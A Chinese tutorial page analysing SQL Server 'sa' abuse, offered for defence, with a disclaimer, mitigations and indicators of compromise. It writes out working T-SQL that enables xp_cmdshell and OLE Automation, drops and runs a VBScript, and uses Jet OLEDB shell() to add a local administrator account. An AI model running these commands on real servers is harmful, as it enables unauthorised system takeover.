首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server SA 權限滲透技術分析與防禦對策(僅供安全研究)

     編輯:關於SqlServer

聲明

本文僅供安全研究與防禦教學目的,嚴禁用於非授權滲透測試或惡意攻擊。所有技術細節旨在協助資料庫管理員理解風險並加強防護。

攻擊場景背景

攻擊者已取得 sa 帳號密碼,但目標伺服器限制 net.exe/net1.exe 執行,無法直接建立系統管理員帳號。利用 SQL Server 擴展預存程序與 Windows 腳本宿主(WSH)繞過限制。

技術原理分析

核心機制:VBScript + ADSI 操作本地用戶

利用 WScript.Network 物件取得電腦名,透過 WinNT:// 提供者綁定 ADSI,直接操作本地 Administrators 群組新增用戶,完全繞過命令列工具。

SQL Server 執行向量

  1. sp_OACreate 建立 Scripting.FileSystemObject 寫入 .vbs 腳本檔
  2. sp_OAMethod 逐行寫入 VBScript 代碼
  3. xp_cmdshell 執行 cscript.exe 解釋執行腳本

關鍵代碼還原(去敏化展示)

-- 1. 啟用必要的進階選項與擴展預存程序
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;

-- 2. 寫入 VBScript 腳本(簡化示意)
DECLARE @o INT, @f INT, @ret INT;
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT;
EXEC sp_OAMethod @o, 'CreateTextFile', @f OUT, 'C:\temp\adduser.vbs', 1;
-- 此處循環寫入 VBScript 代碼行...
-- 建立用戶 test 密碼 ComplexPass123! 加入 Administrators 群組

-- 3. 執行腳本
EXEC master..xp_cmdshell 'cscript //nologo C:\temp\adduser.vbs';

替代向量:Jet OLEDB 沙箱模式

利用 Microsoft.Jet.OLEDB.4.0 讀取系統資料庫 ias.mdb,透過 Shell() 函數執行命令:

-- 需先啟用沙箱模式
EXEC master.dbo.xp_regwrite 
    'HKEY_LOCAL_MACHINE', 
    'SOFTWARE\Microsoft\Jet\4.0\Engines', 
    'SandBoxMode', 'REG_DWORD', 1;

-- 執行命令新增用戶
SELECT * FROM OPENROWSET(
    'microsoft.jet.oledb.4.0',
    ';database=C:\Windows\system32\ias\ias.mdb',
    'select shell("cmd.exe /c net user test ComplexPass123! /add")'
);
SELECT * FROM OPENROWSET(
    'microsoft.jet.oledb.4.0',
    ';database=C:\Windows\system32\ias\ias.mdb',
    'select shell("cmd.exe /c net localgroup administrators test /add")'
);

路徑差異:NT/2000 為 C:\WINNT\system32\,XP/2003 為 C:\Windows\system32\。

防禦與緩解策略

防禦層面具體措施
最小權限原則應用程式連線勿使用 sa;建立專用低權限登入
禁用高風險擴展預存程序xp_cmdshell、sp_OA*、OPENROWSET 預設關閉,按需啟用
強化密碼策略強制複雜度、長度、定期輪換,防止暴力破解
網路層隔離資料庫伺服器不直接暴露於外網,僅允許應用伺服器存取
稽核與監控啟用登入稽核、關鍵預存程序呼叫監控、檔案完整性監控(FIM)
修補與更新及時套用累積更新,修補已知提權漏洞(如 CVE-2008-5416 等)

偵測指標(IOC)

  • 錯誤日誌出現 sp_OACreate/xp_cmdshell 執行記錄
  • 系統目錄出現異常 .vbs/.bat 檔案
  • 本地用戶群組異常新增帳號
  • Jet OLEDB 相關註冊鍵值 SandBoxMode=1 被修改

結語

SQL Server 內建的自動化與擴展功能雖強大,但也是攻擊面。纏繞防禦策略:預設拒絕、最小權限、持續監控、快速修補,才能有效降低 SA 帳號被濫用風險。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved